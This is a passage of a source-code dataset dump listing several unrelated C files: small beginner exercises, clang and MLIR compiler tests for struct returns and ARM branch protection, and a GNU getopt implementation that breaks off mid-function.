file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
|---|---|
the_stack_data/7951329.c | #include "string.h"
size_t strlen(const char *s) {
const char *p;
for (p = s; *p != '\0'; p++);
return p - s;
}
|
the_stack_data/125139584.c | /*Exercise 2 - Selection
Write a program to calculate the amount to be paid for a rented vehicle.
• Input the distance the van has travelled
• The first 30 km is at a rate of 50/= per km.
• The remaining distance is calculated at the rate of 40/= per km.
e.g.
Distance -> 20
Amount = 20 x 50 = 1000
Distance -> 50
Amount = 30 x 50 + (50-30) x 40 = 2300*/
#include <stdio.h>
int main() {
float distance, amount;
printf("input distance :- ");
scanf("%f", &distance);
if(distance <= 30)
{
amount = distance*50;
printf("Amount to be paid = %.2f", amount);
}
else if (distance > 30)
{
amount = 30*50 + (distance - 30)*40;
printf("Amount to be paid = %.2f", amount);
}
else printf("wrong Output");
return 0;
}
|
the_stack_data/128265.c | int main()
{
// int a[5] = {2,3,3,2,4};
// int b = removeElement(a,5,3);
// printf("%d",b);
return 0;
}
int removeElement(int* nums, int numsSize, int val) {
int j = 0;
for(int i = 0;i < numsSize;i++) {
if(nums[i] != val) {
nums[j] = nums[i];
j++;
}
}
return j;
}
|
the_stack_data/190767639.c | // REQUIRES: powerpc-registered-target
// RUN: %clang_cc1 -triple powerpc-unknown-freebsd \
// RUN: -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-SVR4
// RUN: %clang_cc1 -triple powerpc-unknown-aix \
// RUN: -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-AIX
// RUN: %clang_cc1 -triple powerpc64-unknown-aix \
// RUN: -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-AIX
// RUN: %clang_cc1 -triple powerpc-unknown-linux \
// RUN: -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-AIX
// RUN: %clang_cc1 -triple powerpc-unknown-linux -maix-struct-return \
// RUN: -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-AIX
// RUN: %clang_cc1 -triple powerpc-unknown-linux -msvr4-struct-return \
// RUN: -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-SVR4
// RUN: %clang_cc1 -triple powerpc-unknown-netbsd \
// RUN: -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-SVR4
// RUN: %clang_cc1 -triple powerpc-unknown-openbsd \
// RUN: -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-SVR4
// RUN: %clang_cc1 -triple powerpc-unknown-openbsd -maix-struct-return \
// RUN: -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-AIX
// RUN: %clang_cc1 -triple powerpc-unknown-openbsd -msvr4-struct-return \
// RUN: -emit-llvm -o - %s | FileCheck %s --check-prefix=CHECK-SVR4
typedef struct {
} Zero;
typedef struct {
char c;
} One;
typedef struct {
short s;
} Two;
typedef struct {
char c[3];
} Three;
typedef struct {
float f;
} Four; // svr4 to return i32, not float
typedef struct {
char c[5];
} Five;
typedef struct {
short s[3];
} Six;
typedef struct {
char c[7];
} Seven;
typedef struct {
int i;
char c;
} Eight; // padded for alignment
typedef struct {
char c[9];
} Nine;
// CHECK-AIX-LABEL: define void @ret0(%struct.Zero* noalias sret {{[^,]*}})
// CHECK-SVR4-LABEL: define void @ret0()
Zero ret0(void) { return (Zero){}; }
// CHECK-AIX-LABEL: define void @ret1(%struct.One* noalias sret {{[^,]*}})
// CHECK-SVR4-LABEL: define i8 @ret1()
One ret1(void) { return (One){'a'}; }
// CHECK-AIX-LABEL: define void @ret2(%struct.Two* noalias sret {{[^,]*}})
// CHECK-SVR4-LABEL: define i16 @ret2()
Two ret2(void) { return (Two){123}; }
// CHECK-AIX-LABEL: define void @ret3(%struct.Three* noalias sret {{[^,]*}})
// CHECK-SVR4-LABEL: define i24 @ret3()
Three ret3(void) { return (Three){"abc"}; }
// CHECK-AIX-LABEL: define void @ret4(%struct.Four* noalias sret {{[^,]*}})
// CHECK-SVR4-LABEL: define i32 @ret4()
Four ret4(void) { return (Four){0.4}; }
// CHECK-AIX-LABEL: define void @ret5(%struct.Five* noalias sret {{[^,]*}})
// CHECK-SVR4-LABEL: define i40 @ret5()
Five ret5(void) { return (Five){"abcde"}; }
// CHECK-AIX-LABEL: define void @ret6(%struct.Six* noalias sret {{[^,]*}})
// CHECK-SVR4-LABEL: define i48 @ret6()
Six ret6(void) { return (Six){12, 34, 56}; }
// CHECK-AIX-LABEL: define void @ret7(%struct.Seven* noalias sret {{[^,]*}})
// CHECK-SVR4-LABEL: define i56 @ret7()
Seven ret7(void) { return (Seven){"abcdefg"}; }
// CHECK-AIX-LABEL: define void @ret8(%struct.Eight* noalias sret {{[^,]*}})
// CHECK-SVR4-LABEL: define i64 @ret8()
Eight ret8(void) { return (Eight){123, 'a'}; }
// CHECK-AIX-LABEL: define void @ret9(%struct.Nine* noalias sret {{[^,]*}})
// CHECK-SVR4-LABEL: define void @ret9(%struct.Nine* noalias sret {{[^,]*}})
Nine ret9(void) { return (Nine){"abcdefghi"}; }
|
the_stack_data/151705793.c | // RUN: mlir-clang %s %stdinclude --function=set -S | FileCheck %s
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <math.h>
/* Array initialization. */
int set (int b)
{
int res = 1;
if (b)
res = 2;
return res;
//path[0][1] = 2;
}
// CHECK: func @set(%arg0: i32) -> i32
// CHCEK-NEXT: %c1_i32 = constant 1 : i32
// CHCEK-NEXT: %c2_i32 = constant 2 : i32
// CHCEK-NEXT: %0 = arith.trunci %arg0 : i32 to i1
// CHCEK-NEXT: %1 = arith.select %0, %c2_i32, %c1_i32 : i32
// CHCEK-NEXT: return %1 : i32
// CHCEK-NEXT: }
|
the_stack_data/140827.c | #include<stdio.h>
int main()
{
int marks;
} |
the_stack_data/281504.c | /* some_data.c -- 部分初始化的数组 */
#include <stdio.h>
#define SIZE 4
int main(int argc, char const *argv[])
{
int some_data[SIZE] = {1492,1066};
int i;
printf("%2s%14s\n",
"i","some_data[i]");
/* 当数值数目少于数组元素数目时，多余的数组元素被初始化为0。也就是说，如果不初始化数组
，数组元素和未初始化的普通变量一样，其中存储的是无用的数值；但是如何部分初始化数组，未初
始化的元素则被设置为0 */
for (i = 0; i < SIZE; i++)
{
printf("%2d%14d\n",i,some_data[i]);
}
return 0;
}
|
the_stack_data/478670.c | // REQUIRES: arm-registered-target
// RUN: %clang -target arm-arm-none-eabi -march=armv7-m -S -emit-llvm -o - -mbranch-protection=none %s | FileCheck %s --check-prefix=CHECK --check-prefix=NONE
// RUN: %clang -target arm-arm-none-eabi -march=armv7-m -S -emit-llvm -o - -mbranch-protection=pac-ret %s | FileCheck %s --check-prefix=CHECK --check-prefix=PART
// RUN: %clang -target arm-arm-none-eabi -march=armv7-m -S -emit-llvm -o - -mbranch-protection=pac-ret+leaf %s | FileCheck %s --check-prefix=CHECK --check-prefix=ALL
// RUN: %clang -target arm-arm-none-eabi -march=armv7-m -S -emit-llvm -o - -mbranch-protection=pac-ret+b-key %s | FileCheck %s --check-prefix=CHECK --check-prefix=PART
// RUN: %clang -target arm-arm-none-eabi -march=armv7-m -S -emit-llvm -o - -mbranch-protection=bti %s | FileCheck %s --check-prefix=CHECK --check-prefix=BTE
// Check there are no branch protection function attributes
// CHECK-LABEL: @foo() #[[#ATTR:]]
// CHECK-NOT: attributes #[[#ATTR]] = { {{.*}} "sign-return-address"
// CHECK-NOT: attributes #[[#ATTR]] = { {{.*}} "sign-return-address-key"
// CHECK-NOT: attributes #[[#ATTR]] = { {{.*}} "branch-target-enforcement"
// Check module attributes
// NONE: !{i32 1, !"branch-target-enforcement", i32 0}
// PART: !{i32 1, !"branch-target-enforcement", i32 0}
// ALL: !{i32 1, !"branch-target-enforcement", i32 0}
// BTE: !{i32 1, !"branch-target-enforcement", i32 1}
// NONE: !{i32 1, !"sign-return-address", i32 0}
// PART: !{i32 1, !"sign-return-address", i32 1}
// ALL: !{i32 1, !"sign-return-address", i32 1}
// BTE: !{i32 1, !"sign-return-address", i32 0}
// NONE: !{i32 1, !"sign-return-address-all", i32 0}
// PART: !{i32 1, !"sign-return-address-all", i32 0}
// ALL: !{i32 1, !"sign-return-address-all", i32 1}
// BTE: !{i32 1, !"sign-return-address-all", i32 0}
void foo() {}
|
the_stack_data/71814.c | /*
* This file is part of the UCB release of Plan 9. It is subject to the license
* terms in the LICENSE file found in the top-level directory of this
* distribution and at http://akaros.cs.berkeley.edu/files/Plan9License. No
* part of the UCB release of Plan 9, including this file, may be copied,
* modified, propagated, or distributed except according to the terms contained
* in the LICENSE file.
*/
/* Getopt for GNU.
NOTE: getopt is now part of the C library, so if you don't know what
"Keep this file name-space clean" means, talk to [email protected]
before changing it!
Copyright (C) 1987, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97
Free Software Foundation, Inc.
NOTE: The canonical source of this file is maintained with the GNU C Library.
Bugs can be reported to [email protected].
This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 2, or (at your option) any
later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
USA. */
/* This tells Alpha OSF/1 not to define a getopt prototype in <stdio.h>.
Ditto for AIX 3.2 and <stdlib.h>. */
#ifndef _NO_PROTO
#define _NO_PROTO
#endif
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#if !defined (__STDC__) || !__STDC__
/* This is a separate conditional since some stdc systems
reject `defined (const)'. */
#ifndef const
#define const
#endif
#endif
#include <stdio.h>
#include <string.h>
/* Comment out all this code if we are using the GNU C Library, and are not
actually compiling the library itself. This code is part of the GNU C
Library, but also included in many other GNU distributions. Compiling
and linking in this code is a waste when using the GNU C library
(especially if it is a shared library). Rather than having every GNU
program understand `configure --with-gnu-libc' and omit the object files,
it is simpler to just do this in the source for each such file. */
#define GETOPT_INTERFACE_VERSION 2
#if !defined (_LIBC) && defined (__GLIBC__) && __GLIBC__ >= 2
#include <gnu-versions.h>
#if _GNU_GETOPT_INTERFACE_VERSION == GETOPT_INTERFACE_VERSION
#define ELIDE_CODE
#endif
#endif
#ifndef ELIDE_CODE
/* This needs to come after some library #include
to get __GNU_LIBRARY__ defined. */
#ifdef __GNU_LIBRARY__
/* Don't include stdlib.h for non-GNU C libraries because some of them
contain conflicting prototypes for getopt. */
#include <stdlib.h>
#include <unistd.h>
#endif /* GNU C library. */
#ifdef VMS
#include <unixlib.h>
#if HAVE_STRING_H - 0
#include <string.h>
#endif
#endif
#if defined (WIN32) && !defined (__CYGWIN32__)
/* It's not Unix, really. See? Capital letters. */
#include <windows.h>
#define getpid() GetCurrentProcessId()
#endif
#ifndef _
/* This is for other GNU distributions with internationalized messages.
When compiling libc, the _ macro is predefined. */
#ifdef HAVE_LIBINTL_H
# include <libintl.h>
# define _(msgid) gettext (msgid)
#else
# define _(msgid) (msgid)
#endif
#endif
/* This version of `getopt' appears to the caller like standard Unix `getopt'
but it behaves differently for the user, since it allows the user
to intersperse the options with the other arguments.
As `getopt' works, it permutes the elements of ARGV so that,
when it is done, all the options precede everything else. Thus
all application programs are extended to handle flexible argument order.
Setting the environment variable POSIXLY_CORRECT disables permutation.
Then the behavior is completely standard.
GNU application programs can use a third alternative mode in which
they can distinguish the relative order of options and other arguments. */
#include "getopt.h"
/* For communication from `getopt' to the caller.
When `getopt' finds an option that takes an argument,
the argument value is returned here.
Also, when `ordering' is RETURN_IN_ORDER,
each non-option ARGV-element is returned here. */
char *optarg = NULL;
/* Index in ARGV of the next element to be scanned.
This is used for communication to and from the caller
and for communication between successive calls to `getopt'.
On entry to `getopt', zero means this is the first call; initialize.
When `getopt' returns -1, this is the index of the first of the
non-option elements that the caller should itself scan.
Otherwise, `optind' communicates from one call to the next
how much of ARGV has been scanned so far. */
/* 1003.2 says this must be 1 before any call. */
int optind = 1;
/* Formerly, initialization of getopt depended on optind==0, which
causes problems with re-calling getopt as programs generally don't
know that. */
int __getopt_initialized = 0;
/* The next char to be scanned in the option-element
in which the last option character we returned was found.
This allows us to pick up the scan where we left off.
If this is zero, or a null string, it means resume the scan
by advancing to the next ARGV-element. */
static char *nextchar;
/* Callers store zero here to inhibit the error message
for unrecognized options. */
int opterr = 1;
/* Set to an option character which was unrecognized.
This must be initialized on some systems to avoid linking in the
system's own getopt implementation. */
int optopt = '?';
/* Describe how to deal with options that follow non-option ARGV-elements.
If the caller did not specify anything,
the default is REQUIRE_ORDER if the environment variable
POSIXLY_CORRECT is defined, PERMUTE otherwise.
REQUIRE_ORDER means don't recognize them as options;
stop option processing when the first non-option is seen.
This is what Unix does.
This mode of operation is selected by either setting the environment
variable POSIXLY_CORRECT, or using `+' as the first character
of the list of option characters.
PERMUTE is the default. We permute the contents of ARGV as we scan,
so that eventually all the non-options are at the end. This allows options
to be given in any order, even with programs that were not written to
expect this.
RETURN_IN_ORDER is an option available to programs that were written
to expect options and other ARGV-elements in any order and that care about
the ordering of the two. We describe each non-option ARGV-element
as if it were the argument of an option with character code 1.
Using `-' as the first character of the list of option characters
selects this mode of operation.
The special argument `--' forces an end of option-scanning regardless
of the value of `ordering'. In the case of RETURN_IN_ORDER, only
`--' can cause `getopt' to return -1 with `optind' != ARGC. */
static enum
{
REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER
} ordering;
/* Value of POSIXLY_CORRECT environment variable. */
static char *posixly_correct;
#ifdef __GNU_LIBRARY__
/* We want to avoid inclusion of string.h with non-GNU libraries
because there are many ways it can cause trouble.
On some systems, it contains special magic macros that don't work
in GCC. */
#include <string.h>
#define my_index strchr
#else
/* Avoid depending on library functions or files
whose names are inconsistent. */
char *getenv ();
static char *
my_index (str, chr)
const char *str;
int chr;
{
while (*str)
{
if (*str == chr)
return (char *) str;
str++;
}
return 0;
}
/* If using GCC, we can safely declare strlen this way.
If not using GCC, it is ok not to declare it. */
#ifdef __GNUC__
/* Note that Motorola Delta 68k R3V7 comes with GCC but not stddef.h.
That was relevant to code that was here before. */
#if !defined (__STDC__) || !__STDC__
/* gcc with -traditional declares the built-in strlen to return int,
and has done so at least since version 2.4.5. -- rms. */
extern int strlen (const char *);
#endif /* not __STDC__ */
#endif /* __GNUC__ */
#endif /* not __GNU_LIBRARY__ */
/* Handle permutation of arguments. */
/* Describe the part of ARGV that contains non-options that have
been skipped. `first_nonopt' is the index in ARGV of the first of them;
`last_nonopt' is the index after the last of them. */
static int first_nonopt;
static int last_nonopt;
#ifdef _LIBC
/* Bash 2.0 gives us an environment variable containing flags
indicating ARGV elements that should not be considered arguments. */
/* Defined in getopt_init.c */
extern char *__getopt_nonoption_flags;
static int nonoption_flags_max_len;
static int nonoption_flags_len;
static int original_argc;
static char *const *original_argv;
extern pid_t __libc_pid;
/* Make sure the environment variable bash 2.0 puts in the environment
is valid for the getopt call we must make sure that the ARGV passed
to getopt is that one passed to the process. */
static void
__attribute__ ((unused))
store_args_and_env (int argc, char *const *argv)
{
/* XXX This is no good solution. We should rather copy the args so
that we can compare them later. But we must not use malloc(3). */
original_argc = argc;
original_argv = argv;
}
text_set_element (__libc_subinit, store_args_and_env);
# define SWAP_FLAGS(ch1, ch2) \
if (nonoption_flags_len > 0) \
{ \
char __tmp = __getopt_nonoption_flags[ch1]; \
__getopt_nonoption_flags[ch1] = __getopt_nonoption_flags[ch2]; \
__getopt_nonoption_flags[ch2] = __tmp; \
}
#else /* !_LIBC */
# define SWAP_FLAGS(ch1, ch2)
#endif /* _LIBC */
/* Exchange two adjacent subsequences of ARGV.
One subsequence is elements [first_nonopt,last_nonopt)
which contains all the non-options that have been skipped so far.
The other is elements [last_nonopt,optind), which contains all
the options processed since those non-options were skipped.
`first_nonopt' and `last_nonopt' are relocated so that they describe
the new indices of the non-options in ARGV after they are moved. */
#if defined (__STDC__) && __STDC__
static void exchange (char **);
#endif
static void
exchange (argv)
char **argv;
{
int bottom = first_nonopt;
int middle = last_nonopt;
int top = optind;
char *tem;
/* Exchange the shorter segment with the far end of the longer segment.
That puts the shorter segment into the right place.
It leaves the longer segment in the right place overall,
but it consists of two parts that need to be swapped next. */
#ifdef _LIBC
/* First make sure the handling of the `__getopt_nonoption_flags'
string can work normally. Our top argument must be in the range
of the string. */
if (nonoption_flags_len > 0 && top >= nonoption_flags_max_len)
{
/* We must extend the array. The user plays games with us and
presents new arguments. */
char *new_str = malloc (top + 1);
if (new_str == NULL)
nonoption_flags_len = nonoption_flags_max_len = 0;
else
{
memcpy (new_str, __getopt_nonoption_flags, nonoption_flags_max_len);
memset (&new_str[nonoption_flags_max_len], '\0',
top + 1 - nonoption_flags_max_len);
nonoption_flags_max_len = top + 1;
__getopt_nonoption_flags = new_str;
}
}
#endif
while (top > middle && middle > bottom)
{
if (top - middle > middle - bottom)
{
/* Bottom segment is the short one. */
int len = middle - bottom;
register int i;
/* Swap it with the top part of the top segment. */
for (i = 0; i < len; i++)
{
tem = argv[bottom + i];
argv[bottom + i] = argv[top - (middle - bottom) + i];
argv[top - (middle - bottom) + i] = tem;
SWAP_FLAGS (bottom + i, top - (middle - bottom) + i);
}
/* Exclude the moved bottom segment from further swapping. */
top -= len;
}
else
{
/* Top segment is the short one. */
int len = top - middle;
register int i;
/* Swap it with the bottom part of the bottom segment. */
for (i = 0; i < len; i++)
{
tem = argv[bottom + i];
argv[bottom + i] = argv[middle + i];
argv[middle + i] = tem;
SWAP_FLAGS (bottom + i, middle + i);
}
/* Exclude the moved top segment from further swapping. */
bottom += len;
}
}
/* Update records for the slots the non-options now occupy. */
first_nonopt += (optind - last_nonopt);
last_nonopt = optind;
}
/* Initialize the internal data when the first call is made. */
#if defined (__STDC__) && __STDC__
static const char *_getopt_initialize (int, char *const *,
const char *);
#endif
static const char *
_getopt_initialize (argc, argv, optstring)
int argc;
char *const *argv;
const char *optstring;
{
/* Start processing options with ARGV-element 1 (since ARGV-element 0
is the program name); the sequence of previously skipped
non-option ARGV-elements is empty. */
first_nonopt = last_nonopt = optind;
nextchar = NULL;
posixly_correct = getenv ("POSIXLY_CORRECT");
/* Determine how to handle the ordering of options and nonoptions. */
if (optstring[0] == '-')
{
ordering = RETURN_IN_ORDER;
++optstring;
}
else if (optstring[0] == '+')
{
ordering = REQUIRE_ORDER;
++optstring;
}
else if (posixly_correct != NULL)
ordering = REQUIRE_ORDER;
else
ordering = PERMUTE;
#ifdef _LIBC
if (posixly_correct == NULL
&& argc == original_argc && argv == original_argv)
{
if (nonoption_flags_max_len == 0)
{
if (__getopt_nonoption_flags == NULL
|| __getopt_nonoption_flags[0] == '\0')
nonoption_flags_max_len = -1;
else
{
const char *orig_str = __getopt_nonoption_flags;
int len = nonoption_flags_max_len = strlen (orig_str);
if (nonoption_flags_max_len < argc)
nonoption_flags_max_len = argc;
__getopt_nonoption_flags =
(char *) malloc (nonoption_flags_max_len);
if (__getopt_nonoption_flags == NULL)
nonoption_flags_max_len = -1;
else
{
memcpy (__getopt_nonoption_flags, orig_str, len);
memset (&__getopt_nonoption_flags[len], '\0',
nonoption_flags_max_len - len);
}
}
}
nonoption_flags_len = nonoption_flags_max_len;
}
else
nonoption_flags_len = 0;
#endif
return optstring;
}
/* Scan elements of ARGV (whose length is ARGC) for option characters
given in OPTSTRING.
If an element of ARGV starts with '-', and is not exactly "-" or "--",
then it is an option element. The characters of this element
(aside from the initial '-') are option characters. If `getopt'
is called repeatedly, it returns successively each of the option characters
from each of the option elements.
If `getopt' finds another option character, it returns that character,
updating `optind' and `nextchar' so that the next call to `getopt' can
resume the scan with the following option character or ARGV-element.
If there are no more option characters, `getopt' returns -1.
Then `optind' is the index in ARGV of the first ARGV-element
that is not an option. (The ARGV-elements have been permuted
so that those that are not options now come last.)
OPTSTRING is a string containing the legitimate option characters.
If an option character is seen that is not listed in OPTSTRING,
return '?' after printing an error message. If you set `opterr' to
zero, the error message is suppressed but we still return '?'.
If a char in OPTSTRING is followed by a colon, that means it wants an arg,
so the following text in the same ARGV-element, or the text of the following
ARGV-element, is returned in `optarg'. Two colons mean an option that
wants an optional arg; if there is text in the current ARGV-element,
it is returned in `optarg', otherwise `optarg' is set to zero.
If OPTSTRING starts with `-' or `+', it requests different methods of
handling the non-option ARGV-elements.
See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above.
Long-named options begin with `--' instead of `-'.
Their names may be abbreviated as long as the abbreviation is unique
or is an exact match for some defined option. If they have an
argument, it follows the option name in the same ARGV-element, separated
from the option name by a `=', or else the in next ARGV-element.
When `getopt' finds a long-named option, it returns 0 if that option's
`flag' field is nonzero, the value of the option's `val' field
if the `flag' field is zero.
The elements of ARGV aren't really const, because we permute them.
But we pretend they're const in the prototype to be compatible
with other systems.
LONGOPTS is a vector of `struct option' terminated by an
element containing a name which is zero.
LONGIND returns the index in LONGOPT of the long-named option found.
It is only valid when a long-named option has been found by the most
recent call.
If LONG_ONLY is nonzero, '-' as well as '--' can introduce
long-named options. */
int
_getopt_internal (argc, argv, optstring, longopts, longind, long_only)
int argc;
char *const *argv;
const char *optstring;
const struct option *longopts;
int *longind;
int long_only;
{
optarg = NULL;
if (optind == 0 || !__getopt_initialized)
{
if (optind == 0)
optind = 1; /* Don't scan ARGV[0], the program name. */
optstring = _getopt_initialize (argc, argv, optstring);
__getopt_initialized = 1;
}
/* Test whether ARGV[optind] points to a non-option argument.
Either it does not have option syntax, or there is an environment flag
from the shell indicating it is not an option. The later information
is only used when the used in the GNU libc. */
#ifdef _LIBC
#define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0' \
|| (optind < nonoption_flags_len \
&& __getopt_nonoption_flags[optind] == '1'))
#else
#define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0')
#endif
if (nextchar == NULL || *nextchar == '\0')
{
/* Advance to the next ARGV-element. */
/* Give FIRST_NONOPT & LAST_NONOPT rational values if OPTIND has been
moved back by the user (who may also have changed the arguments). */
if (last_nonopt > optind)
last_nonopt = optind;
if (first_nonopt > optind)
first_nonopt = optind;
if (ordering == PERMUTE)
{
/* If we have just processed some options following some non-options,
exchange them so that the options come first. */
if (first_nonopt != last_nonopt && last_nonopt != optind)
exchange ((char **) argv);
else if (last_nonopt != optind)
first_nonopt = optind;
/* Skip any additional non-options
and extend the range of non-options previously skipped. */
while (optind < argc && NONOPTION_P)
optind++;
last_nonopt = optind;
}
/* The special ARGV-element `--' means premature end of options.
Skip it like a null option,
then exchange with previous non-options as if it were an option,
then skip everything else like a non-option. */
if (optind != argc && !strcmp (argv[optind], "--"))
{
optind++;
if (first_nonopt != last_nonopt && last_nonopt != optind)
exchange ((char **) argv);
else if (first_nonopt == last_nonopt)
first_nonopt = optind;
last_nonopt = argc;
optind = argc;
}
/* If we have done all the ARGV-elements, stop the scan
and back over any non-options that we skipped and permuted. */
if (optind == argc)
{
/* Set the next-arg-index to point at the non-options
that we previously skipped, so the caller will digest them. */
if (first_nonopt != last_nonopt)
optind = first_nonopt;
return -1;
}
/* If we have come to a non-option and did not permute it,
either stop the scan or describe it to the caller and pass it by. */
if (NONOPTION_P)
{
if (ordering == REQUIRE_ORDER)
return -1;
optarg = argv[optind++];
return 1;
}
/* We have found another option-ARGV-element.
Skip the initial punctuation. */
nextchar = (argv[optind] + 1
+ (longopts != NULL && argv[optind][1] == '-'));
}
/* Decode the current option-ARGV-element. */
/* Check whether the ARGV-element is a long option.
If long_only and the ARGV-element has the form "-f", where f is
a valid short option, don't consider it an abbreviated form of
a long option that starts with f. Otherwise there would be no
way to give the -f short option.
On the other hand, if there's a long option "fubar" and
the ARGV-element is "-fu", do consider that an abbreviation of
the long option, just like "--fu", and not "-f" with arg "u".
This distinction seems to be the most useful approach. */
if (longopts != NULL
&& (argv[optind][1] == '-'
|| (long_only && (argv[optind][2] || !my_index (optstring, argv[optind][1])))))
{
char *nameend;
const struct option *p;
const struct option *pfound = NULL;
int exact = 0;
int ambig = 0;
int indfound = -1;
int option_index;
for (nameend = nextchar; *nameend && *nameend != '='; nameend++)
/* Do nothing. */ ;
/* Test all long options for either exact match
or abbreviated matches. */
for (p = longopts, option_index = 0; p->name; p++, option_index++)
if (!strncmp (p->name, nextchar, nameend - nextchar))
{
if ((unsigned int) (nameend - nextchar)
== (unsigned int) strlen (p->name))
{
/* Exact match found. */
pfound = p;
indfound = option_index;
exact = 1;
break;
}
else if (pfound == NULL)
{
/* First nonexact match found. */
pfound = p;
indfound = option_index;
}
else
/* Second or later nonexact match found. */
ambig = 1;
}
if (ambig && !exact)
{
if (opterr)
fprintf (stderr, _("%s: option `%s' is ambiguous\n"),
argv[0], argv[optind]);
nextchar += strlen (nextchar);
optind++;
optopt = 0;
return '?';
}
if (pfound != NULL)
{
option_index = indfound;
optind++;
if (*nameend)
{
/* Don't test has_arg with >, because some C compilers don't
allow it to be used on enums. */
if (pfound->has_arg)
optarg = nameend + 1;
else
{
if (opterr)
if (argv[optind - 1][1] == '-')
/* --option */
fprintf (stderr,
_("%s: option `--%s' doesn't allow an argument\n"),
argv[0], pfound->name);
else
/* +option or -option */
fprintf (stderr,
_("%s: option `%c%s' doesn't allow an argument\n"),
argv[0], argv[optind - 1][0], pfound->name);
nextchar += strlen (nextchar);
optopt = pfound->val;
return '?';
}
}
else if (pfound->has_arg == 1)
{
if (optind < argc)
optarg = argv[optind++];
else
{
if (opterr)
fprintf (stderr,
_("%s: option `%s' requires an argument\n"),
argv[0], argv[optind - 1]);
nextchar += strlen (nextchar);
optopt = pfound->val;
return optstring[0] == ':' ? ':' : '?';
}
}
nextchar += strlen (nextchar);
if (longind != NULL)
*longind = option_index;
if (pfound->flag)
{
*(pfound->flag) = pfound->val;
return 0;
}
return pfound->val;
}
/* Can't find it as a long option. If this is not getopt_long_only,
or the option starts with '--' or is not a valid short
option, then it's an error.
Otherwise interpret it as a short option. */
if (!long_only || argv[optind][1] == '-'
|| my_index (optstring, *nextchar) == NULL)
{
if (opterr)
{
if (argv[optind][1] == '-')
/* --option */
fprintf (stderr, _("%s: unrecognized option `--%s'\n"),
argv[0], nextchar);
else
/* +option or -option */
fprintf (stderr, _("%s: unrecognized option `%c%s'\n"),
argv[0], argv[optind][0], nextchar);
}
nextchar = (char *) "";
optind++;
optopt = 0;
return '?';
}
}
/* Look at and handle the next short option-character. */
{
char c = *nextchar++;
char *temp = my_index (optstring, c);
/* Increment `optind' when we start to process its last character. */
if (*nextchar == '\0')
++optind;
if (temp == NULL || c == ':')
{
if (opterr)
{
if (posixly_correct)
/* 1003.2 specifies the format of this message. */
fprintf (stderr, _("%s: illegal option -- %c\n"),
argv[0], c);
else
fprintf (stderr, _("%s: invalid option -- %c\n"),
argv[0], c);
}
optopt = c;
return '?';
}
/* Convenience. Treat POSIX -W foo same as long option --foo */
if (temp[0] == 'W' && temp[1] == ';')
{
char *nameend;
const struct option *p;
const struct option *pfound = NULL;
int exact = 0;
int ambig = 0;
int indfound = 0;
int option_index;
/* This is an option that requires an argument. */
if (*nextchar != '\0')
{
optarg = nextchar;
/* If we end this ARGV-element by taking the rest as an arg,
we must advance to the next element now. */
optind++;
}
else if (optind == argc)
{
if (opterr)
{
/* 1003.2 specifies the format of this message. */
fprintf (stderr, _("%s: option requires an argument -- %c\n"),
argv[0], c);
}
optopt = c;
if (optstring[0] == ':')
c = ':';
else
c = '?';
return c;
}
else
/* We already incremented `optind' once;
increment it again when taking next ARGV-elt as argument. */
optarg = argv[optind++];
/* optarg is now the argument, see if it's in the
table of longopts. */
for (nextchar = nameend = optarg; *nameend && *nameend != '='; nameend++)
/* Do nothing. */ ;
/* Test all long options for either exact match
or abbreviated matches. */
for (p = longopts, option_index = 0; p->name; p++, option_index++)
if (!strncmp (p->name, nextchar, nameend - nextchar))
{
if ((unsigned int) (nameend - nextchar) == strlen (p->name))
{
/* Exact match found. */
pfound = p;
indfound = option_index;
exact = 1;
break;
}
else if (pfound == NULL)
{
/* First nonexact match found. */
pfound = p;
indfound = option_index;
}
else
/* Second or later nonexact match found. */
ambig = 1;
}
if (ambig && !exact)
{
if (opterr)
fprintf (stderr, _("%s: option `-W %s' is ambiguous\n"),
argv[0], argv[optind]);
nextchar += strlen (nextchar);
optind++;
return '?';
}
if (pfound != NULL)
{
option_index = indfound;
if (*nameend)
{
/* Don't test has_arg with >, because some C compilers don't
allow it to be used on enums. */
if (pfound->has_arg)
optarg = nameend + 1;
else
{
if (opterr)
fprintf (stderr, _("\
%s: option `-W %s' doesn't allow an argument\n"),
argv[0], pfound->name);
nextchar += strlen (nextchar);
return '?';
}
}
else if (pfound->has_arg == 1)
{
if (optind < argc)
optarg = argv[optind++];
else
{
if (opterr)
fprintf (stderr,
_("%s: option `%s' requires an argument\n"),
argv[0], argv[optind - 1]);
nextchar += strlen (nextchar);
return optstring[0] == ':' ? ':' : '?';
}
}
nextchar += strlen (nextchar);
if (longind != NULL)
*longind = option_index;
if (pfound->flag)
{
*(pfound->flag) = pfound->val;
return 0;
}
return pfound->val;
}
nextchar = NULL;
return 'W'; /* Let the application handle it. */
}
if (temp[1] == ':')
{
if (temp[2] == ':')
{
/* This is an option that accepts an argument optionally. */
if (*nextchar != '\0')
{
optarg = nextchar;
optind++;
}
else
optarg = NULL;
nextchar = NULL;
}
else
{
/* This is an option that requires an argument. */
if (*nextchar != '\0')
{
optarg = nextchar;
/* If we end this ARGV-element by taking the rest as an arg,
we must advance to the next element now. */
optind++;
}
else if (optind == argc)
{
if (opterr)
{
/* 1003.2 specifies the format of this message. */
fprintf (stderr,
_("%s: option requires an argument -- %c\n"),
argv[0], c);
}
optopt = c;
if (optstring[0] == ':')
c = ':';
else
c = '?';
